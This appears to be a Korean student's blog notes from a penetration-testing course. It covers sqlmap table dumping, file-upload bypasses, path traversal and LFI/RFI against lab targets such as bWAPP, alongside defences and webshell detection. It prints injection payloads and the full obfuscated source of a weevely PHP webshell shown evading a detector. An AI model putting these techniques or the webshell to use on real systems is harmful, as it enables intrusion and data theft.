┌──(kali㉿kali)-[~] └─$ sqlmap -u "http://192.168.5.133/bWAPP/sqli_13.php" --cookie="security_level=0; PHPSESSID=dbe1a112e9d924b1dce94f48a4902159" --data "movie=1&action=go" -D bWAPP -T users --dump // -dump는 데이터 뽑아내는 것 // (질문) 다른 도구 사용? -y // (질문) 딕셔너리 사전 파일 사용? -y // (질문) 그럼 머 쓰실? - 1 // (질문) 패스워드 같은 것들 땜에 느린데 괜춘? -y
  • 지우고 자세히봐 보기
┌──(kali㉿kali)-[~] └─$ sudo rm -rf /home/kali/.local/share/sqlmap/output/192.168.5.133 ┌──(kali㉿kali)-[~] └─$ sqlmap -u "http://192.168.5.133/bWAPP/sqli_13.php" --cookie=" security_level=0; PHPSESSID=7f4201f630309e14bef4566907739c6a" --data "movie=1&action=go" --dbs -v 3 //-v는 더 자세히 보겠다는 것 3정도가 적당 한 듯?
  • [22:41:53] [PAYLOAD] 5517 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#

- 이게 무슨 의미인 지 알아야 함

--> 이 전 줄에서 [22:41:53] [INFO] checking if the target is protected by some kind of WAF/IPS

- sqlmap이 앞으로 사용할 패턴들이 차단되면 안되니까 WAF/IPS에 대해서 사용할 패턴들을 넣어보는 것

--> xp_cmdshell : 얘는 ms관련된 것 => 긍까 섞여서 때려보는거야

  • 중간에 **은 주석처리잖아? 근데 이 패턴들이 우회기법들을 사용하기 때문에 union을 체크를 한다고 가정했을 때, 딱 쓰면 걸리잖아? 근데 이걸 중간에 u/**/nion하면 이건 주석처리잖아? 그래서 이게 우회가 된다는 것

- 그래서 이런거 확인한느건데 우리는 지금 WAF없어서 괜찮긴 함

  • 침해사고 분석할 때 log 파일을 주는데 지금 payload 비슷한 패턴을 보였다면 sqlmap으로 시도했다는 것을 알 수 있음 그래서 침해사고 대응하는 사람들이 해킹 기법들이나 도구들을 잘 안다면 이렇게 방향을 잡고 훨씬 빠르게 할 수 있따는 것
  • 밑에 더 확인해보면

[22:42:12] [PAYLOAD] 1 ORDER BY 1-- -

[22:42:12] [PAYLOAD] 1 ORDER BY 9574-- -

[22:42:12] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[22:42:12] [PAYLOAD] 1 ORDER BY 10-- -

[22:42:12] [PAYLOAD] 1 ORDER BY 6-- -

[22:42:12] [PAYLOAD] 1 ORDER BY 8-- -

[22:42:12] [PAYLOAD] 1 ORDER BY 7-- -

[22:42:12] [INFO] target URL appears to have 7 columns in query

- 이렇게 컬럼갯수 알 수 있고

[22:42:12] [PAYLOAD] 1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x48456e614d6b4a596e795157464d76657851677671695450797172646166447258535a454a4f6163,0x7178707671)-- -

- 이렇게 union한 것을 알 수 있는데 이게 뭔지 궁금하면 복사해서 프록시에 리피터 보내서 찍어보기

- - mysql은 --이 #임

- 보니까 movie값에 들어가는데 일단 얘는 정상적인 값이 나옴

- 젤 마지막 줄들을 함 해보면 테이블값들이 나옴

  • 근데 이거 왜 그 중간 진짜 값 양쪽에 5개에 이상한 문자들이 있냐면 얘는 기계잖아 자동도구로 한거다보니까 이게 실질적으로 자기가 크롤링을 해서 뽑아내는 데이터가 뭔지를 확인해야 하는데 자기가 임의적으로 넣은 거 사이에 실제가 있다라고 판단을 해야하기 때문이라는건데

- 요약하면 기계 개똥멍청이라 본인이 쓴 거 사이에 실데이터가 있어야 그게 그거구나 판단할 수 있다는거

=> 그래서 CONCAT값과 SELECT와 shema사이 값 지우면 사람의 손으로 만든 코드랑 똑같다!

  • -v 5로 돌려보면 그 코드가 어느 위치에 들어가는 지까지 다 보여준다
  • --technique
┌──(kali㉿kali)-[~] └─$ sudo rm -rf /home/kali/.local/share/sqlmap/output/192.168.5.133 // 먼저 지우고 ┌──(kali㉿kali)-[~] └─$ sudo sqlmap -u "http://192.168.5.133/bWAPP/sqli_13.php" --cookie=" security_level=0; PHPSESSID=7f4201f630309e14bef4566907739c6a" --data "movie=1&action=go" --dbs --technique=B

- BEUSTQ :Blind, Errorbase, Union, Static Query, Time base, Q는 최근에 생겼는데 아마 쿼리

- 근데 이건 잘 안됐던 거 같음

 

파일 업로드 취약점

확장자 검증 취약

  • 첨부파일 기능 이용
  • 업로드 되는 파일의 확장자 검증을 하지 않아서 웹쉘(Webshell)을 업로드 할 수 있는 취약점

- 앞에서 웹쉘 올렸던 것들은 파일 업로드들이 아니었음

--> webdav : 보안설정미흡 / tomcat : 관리자 접근제어 미흡, 기본 패스워드 취약

  • 자료실, 사진콘테스트, 이미지 등등 첨부파일 올릴 수 있는 공간 많음

웹쉘에 대한 이해

  • github에서 webshell다운을 위해 바이러스 위협 방지 실시간 해제 (크롬보안도 해제)

- https://github.com/tennc/webshell

  • 우리는 오늘 php를 사용할 것인데 엄청 많음
  • 실무에서도 스타일에 맞는 것들 골라둠
  • 예전에는 위험한 웹쉘들이 많았음 그래서 고객사에 함부로 올렸다가 중국 사이트에 정보 연결되는 경우도 있었음 --> 조심하기
  • 한 줄짜리 웹쉘이 가장 좋다
  • b374 사용할 예정

Unrestricted File Upload

  • 업로드 조건

1. 첨부파일 기능에서 확장자 검증 안 함(서버사이드스크립트 업로드 가능)

2. 첨부된 파일의 절대경로를 알아야 함

3. 업로드 디렉토리에 서버 사이드 스크립트 실행이 가능해야 함!

- 지금 보면 이미지 파일이 올라가는 공간인데 지금 php가 올라갔다고 해서 php 코드가 실행될 이유 없음

=> 그래서 이 세가지 조건을 갖춰야 하는 것

  • 업로드 취약점을 이용한 공격

1. 웹 서버에서 데이터베이스의 연결정보 확인 및 침투 (개인정보 탈취)

- db 눌러보면 정보만 알고 잇으면 다 연결 가능 (웹쉘은 3306포트)

2. 웹 서버의 index.html 페이지를 조작해서 악성코드 배포하기 위함

- 악성 <iframe>, <script> 삽입!

- 물론 모의해킹에서는 이건 안 함

3. 웹 서버 침투 후에 근접네트워크(내부 서버)를 침투하기 위한 목적

  • 자 모르겠으면 외우세요~

DB 연결 및 침투

  • 데이터베이스 커넥션 정보 찾아서 채워보기

b374k 들어가면 이럼

  • o / var / www / bWAPP / admin / 여기 가보면 정보 확인 가능
  • mysql에서는 기본포트 3306

db connection정보 다 채움

  • gmshop에 업로드 해보기

- 업로드는 됨 근데 실행이 안 됨

- bee-box가서 chmod 777수정

- 다시 업로드해서 보니까 실행 됨

  • 또 다른 방법 : php파일을 jpg 파일로 만들어둬서 첨부파일에 둔 후 올릴 때 버프스위트를 잡는 것

- 아래쪽에 보면 filename에 jpg로 되어있는데 이것을 php로 바꾸면 되는 것

Unstricted File-medium

  • 이건 서버사이드 쪽에서 처리한 사례
  • 자바스크립트 : 우회가능, 서버사이드 : 우회불가능
  • 여기서 보면 The following extensions are blocked: asp, aspx, dll, exe, jsp, php

- 블랙리스트 방식

  • 화이트리스트방식 : 허용할 것만 표시하는 것
  • 그럼 저 확장자 이외에 어떤 환경에서 작동하는 것이냐 하는 것을 이해하고 찾아야 함

- php,php3,phtml,php5 . . => php 환경에서 서버사이드로 처리 됨

- 저런 확장자로 올려도 php로 실행이 된다는 것 => php3로 바꾸니까 올라가짐

-> asp,aspx,asa .. jsp..

  • 리눅스는 대소문자 구분 함 : php=/=PhP=/=Php
  • 윈도우는 대소문자 구분 안 함 : php=PhP=Php

High

  • 화이트리스트 방식 : jpg와 png만 올라갈 수 있음

- jpg로 확장명 바꿔서 올리면 실행이 안 됨

=> burp suite에서 잡아도 이건 서버사이드 방식이라 안됨

  • 대응방법

- php 공식 사이트 보면 되게 잘 나와 있음

- bee-box의 high 버전은 secure coding이 굉장히 잘 돼있음

=> /var/www/bWAPP에 들어가 보면 functions external.php 라는 것이 있음

function external

=> secure 코딩 공부 가능

  • 잘 못알아들었는데 대충 이런 얘기 하심 ㅎ

미션 - 경로를 찾아라

  • asp 코드를 올려랑
  • 올리고 난 후 첨부된 파일의 절대경로를 알아야 함!
  • 일단 asp를 올려라
  • burp suite으로 잡아보면 경로가 GET되는 부분 보면 path가 upload_file이 있잖아
  • 그럼 위에 url에 잡아보는거야
  • 그럼 짠 찾았따

- 웹에서 이 파일 업로드 부분 경로 들어갈 수 없도록 막는 코드를 짜는 것이 중요함

- 아니면 데이터베이스에 경로와 파일이름이 저장되어서

--> 그 name과 path를 숫자 같은 걸로 바꿔서 뭐 불러오는 건 지 모르게해서 불러오게하는 것

- 디렉터리 나열이 거부됐다는 것은 파일이있따는 뜻임!!!!


 

파일업로드 취약점

대응방안

  • xss에서는 차단, 제한 또는 < > 이런 문자 막기

- 어쩐지 특수 문자를 못 쓰게 하는 게시판들이 많더라고

  • sql injection에서는 '와 " 못쓰게 하기 혹은 길이제한
  • 화이트리스트 방식으로 검증

- jpg,png,doc,pdf 등만 업로드 가능하도록

--> 근데 jpg, png도 안에 막 스크립트 넣어서 뭐 막 하는 그런 것도 있긴 함

  • 절대경로를 모르게 하기

- 파일 이름과 경로를 데이터베이스에서 가져오는 방식

- 이미지같은 것들은 별도의 서버를 구축해 둠

--> 웹에서 받아오는 것들이 여기로 들어가면 이미지가 보여지는 서버일 뿐 전혀 실행 안되게 만듦

--> 근데 이게 웹서버와 이미지 서버 각각 필요하므로 금액적 문제 발생

웹쉘차단 솔루션

  • 웹쉘이 꼭 첨부파일을 통해 올리는 것은 아니기 때문에

- tomcat, webdav, RCE(원격실행공격취약점, 앱 취약점으로 루트에다 심는 공격)

--> RCE는 실제 img 서버로 넘어가는 것이 아닌 웹에 직접 심음

--> 어디에 올라갈 지 모름(공격자가 원하는 공간 어딘가에 올라가지며 실행시켜짐)

  • 그래서 웹쉘차단 솔루션이 있으면 대응이 가능함

- 웹쉘에 올라가는 것들을 차단해서 대응

- php-shell-detector https://github.com/emposha/PHP-Shell-Detector

  • 설치해서 웹서버에 홈 폴더에 넣어두고 보면 db에 603개와 7개의 파일들
  • vim해서 경로 바꾸기 '/var/www/bWAPP/images/' 일케
  • 웹페이지 새로고침하면?
  • 이것의 DB를 확인해보면

=> base64 decode 했더니

a:604:{s:64:"XRpbyAqIC43NSk7DQoNCiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbWJfbGVuZ3RoO";s:21:"phpemailer[0][2][php]";s:64:"OwkJCQoKCWRlZmF1bHQ6CgkJc2hvd19scygpOwp9CgpmdW5jdGlvbiBzaG93X2xz";s:15:"cmd[31][0][php]";s:64:"Zdko5TTNUR3JIL2RvV0M0WG1BRWtZVndBQ1VQUWQwR2w0N3VEalIiLCJjMkdybVR";s:17:"noname[1][0][php]";s:64:"2hvICINCgkJCQkNCgkJICAgIAk8dHI+DQoJCQkgICAgICA8dGQgd2lkdGg9JzEwJ";s:22:"hiddenshell[0][0][php]";s:64:"cm9sOiBuby1jYWNoZVxuIjsNCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRt";s:14:"cmd[24][0][pl]";s:64:"JyPgogICAgICAgIDxiciAvPjxiciAvPiA8L2ZvbnQ+CiAgICAgICAgICAgICAgPD";s:19:"s72shell[0][0][php]";s:126:"GRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOyAkZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7IGlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5";s:25:"cocacola_shell[0][0][php]";s:64:"PEZPUk0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgQUNUSU9OPSJ1cGxv";s:26:"shell_uploader[10][0][php]";s:64:"WFyZ2luLWxlZnQ6NXB4OyBtYXJnaW4tcmlnaHQ6NXB4Oyc+bG9naW46PC9zcGFuP";s:14:"cih[0][0][php]";s:64:"ZikuIikhPC9iPjwvY2VudGVyPiI7fQ0KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxi";s:15:"c99[26][0][php]";s:64:"hbWUoKS4iXG4iOw0KPz4NCjxocj48L3ByZT4NCiAgICA8dGFibGU+PGZvcm0gbWV";s:20:"lamashell[0][0][php]";s:64:"FUlsnUkVNT1RFX0FERFInXTtlY2hvICIgc2l6ZT0xNz48L3RkPjwvdHI+PHRyPjx";s:17:"jackal[1][0][php]";s:64:"CgkJCWFycmF5X3BvcCgkZXh4KTsNCg0KCQkJPz4NCg0KCQkJRG

이런 것들이 있는데 이건 base 64 decoding해서 나타낸 것

  • 자세히 보면 이름들이 보이는데 웹쉘 = 악성코드

탐지 방법

  • 데이터베이스와 해시값 비교

- 같으면 악성코드

  • 무결성 검증 시 해시값 검증 필수
  • 해시값이 없으면 문자열 검사(파일 내 문자열 비교)

- 악의적으로 쓰일만 한 함수들이 쓰이는 지 확인함

- 꼭 그 함수가 있다고해서 악의적인 것은 아님

  • 예시) eval과 base64를 같이 써서 우회한 코드들이 있기도 함

- 그래서 사람이 직접 확인해보라고 의심스러운 함수 표시

  • 우리나라의 유료 솔루션은 metieye(SSR 제작)이 있고 여기서 보면 실시간 탐지와 서버별 모니터링이 짆ㅇ되는 것을 알 수 있음

- 웹쉘은 hash값 같은 아까 했던 것 확인

- 악성 url은 정보들 갖고 있다가 페이지 내의 url있으면 탐지

- 업로드 필터는 소스코드쪽에서 대응하는 게 맞으나 php같은 것 못올리도록 대응 가능

- 파일변경은 업로드한 것을 문자열이나 해시값만으로만 하게 되면 한계가 있을 수 있음

--> 외부에서 얻은 파일 실시간 감시

--> 특정파일 변경 시 감지됨(이때도 해시값 사용됨)

- 변경방지는 환경 설정이나 index 변경 방지하는 것

  • 이런 내용을 알기 위해 웹쉘차단제안서 filetype:pdf 이런식으로 검색해서 보면 좋음

Detector 탐지 실습

┌──(kali㉿kali)-[~] └─$ sudo weevely generate hacker shell.php //shell.php 파일 만들겠다 /* [sudo] password for kali: Generated 'shell.php' with password 'hacker' of 754 byte size. */ ┌──(kali㉿kali)-[~] └─$ cat shell.php /* <?php $P='$k="dr#6a6r#bcr#0d";$kr#h="b10694a2r#d90e";$kf="r#3a696r#48fr#3a03r#r#"r#;$p="bm0h3CObjnBn3fgK";'; $L='fr#unctir#on x(r#$r#t,$k){$c=strlr#enr#($r#k);$l=strlen($r#tr#);r#$o="";fr#or($i=0;$i<$l;r#){forr#'; $p=str_replace('h','','hcreahhteh_funchtihon'); $Z='($j=0;(r#$j<$cr#&r#&$i<$l)r#;$j++r#,$i++r#){$o.=r#$r#r#t{$i}^$k{$j};}}return $r#r#o;}if (r#@pre'; $G='s()r#;@ob_end_clear#n(r#);$r=@br#ase64r#_encoder#(@x(@gzcr#omr#press($o),$r#r#k))r#;prinr#t("$p$kh$r$kf");}'; $I='r#er#val(@gzr#uncompressr#(@x(@r#br#ase64_decode(r#$m[1])r#,$r#k)));$o=r#@obr#_get_conter#r#nt'; $o='g_matchr#("/$r#kh(r#.+)$r#kf/",@filr#e_gr#et_conr#tents("pr#hp://r#input"),r#$m)==1) {@or#b_star#rt();@'; $c=str_replace('r#','',$P.$L.$Z.$o.$I.$G); $g=$p('',$c);$g(); ?> */ ┌──(kali㉿kali)-[~] └─$ md5sum shell.php //해쉬값 확인 // 1c45b14349dd03f4cad1fe4f537704ec shell.php
  • 이러고 bWAPP에 올리고 탐지해보면 탐지가 안됨을 알 수 있는데 이렇게 우회가 가능하다는 것
  • cat한 내용들 잘 보면 이상한 값들이 많이 들어가 있는데 이걸 지우면 다 뭐라는 지 알 수 있음

- ob_start(), eval, compress, base64_decode() 등등 그래서 이런거 다 지워서 합하면 php 웹쉘이 됨

  • 이렇게 한줄 씩 쪼갠 이유는 base_64로 인코딩하면 한 줄로 엄청 길어지니까
  • 길게 쓰면 웹쉘이라고 의심하는 탐지도 있음
  • 그리고 정상적이지 않은 문자열이 얼마나 나오는 지 확인해서 탐지하는 논문도 있음

*악성코드를 계속 강조하는 이유

  • 기술의 집약체이므로
  • 공부를 많이 하면 자연스럽게 공격 기법을 익히고 방어기법도 알게 됨

넓게 본 대응방안

1. 시큐어 코딩

2. 보안설정

3. 보안솔루션 도입

  • 항상 이 세가지 관점에서 생각해봐야 함
  • 컨설턴트는 단기, 중기, 장기적 마스터 플랜을 세워 줌

- hot-fix (급박한 것 , 1주일 단위)

- 중기는 3개월

- 장기는 6개월(이건 보통 보안솔루션 도입)

--> 이런식으로 긴박성에 따라 제시를 해 줌

 

파일 다운로드 취약점

입력값 검증

  • 어제 했던 demoshop의 게시판에서는 서버사이드스크립트에 접근할 수 있었음
  • 근데 asp가 다운되지는 않음
  • 파일 다운받으며 프록시를 잡아보자

- 리피터로 보내기

- strFileName : 요기에도 sqli 테스트 해 봐야 함

- f_path 얘네에 입력값 검증이 안돼있다면 다른 이름으로 조작했을 때 다른 파일에 접근이 될까?

  • asp 파일을 다운받고 싶어서 filename에 shop_down~~ 이런거 써봤지만 안됨
  • 그럼 demoshop/shop_board/shop_download.asp demoshop/shop_board/upload_file/../shop_download.asp 일케해봤더니?

- 뭔가 나와! (소스코드가 다운 되는 것)

- 정상적인 경로가 shop_board인거니까 상위 디렉토리까지 가기 위해 계속 올라가는겨 ../

퀴즈

  • 파일업로드를 담당하는 소스코드는?
  • shop_board_write_ok.asp에서 담당
  • C:\ 이런 쪽에 가고 싶으면 관리자권한 획득해서 가면 되고 최상단으로 ../ 이동해서 다운받으면 됨!

디렉토리리스팅 취약점

  • Remote & Local File Inclusion (RFI/LFI)

- 파일다운 취약점과 비슷

- lang으로 조작해서 파일 가져올 수 있을것이라 예상 가능

  • etcpassword파일 /etc/passwd
  • RFI취약점 : Inculsion형태이므로 외부에 있는 파일도 가져와서 php코드를 뿌리는 것

- google.com해도 index 파일을 다 가져온다 (사진 있었는데 사라졌넹 힁)

  • 웹쉘을 txt 파일로 가져오게 해서 코드를 뿌릴 수 있따
  • 나중에 소스코드 가져와볼 수도 있따~

'SK 쉴더스 루키즈' 카테고리의 다른 글

클라우드기반 시스템 운영/구축 실무  (0) 2024.08.10
클라우드 보안(2)  (0) 2024.08.10
클라우드 보안(1)  (0) 2024.08.10
네트워크 보안  (0) 2024.08.09
시스템보안  (0) 2024.08.09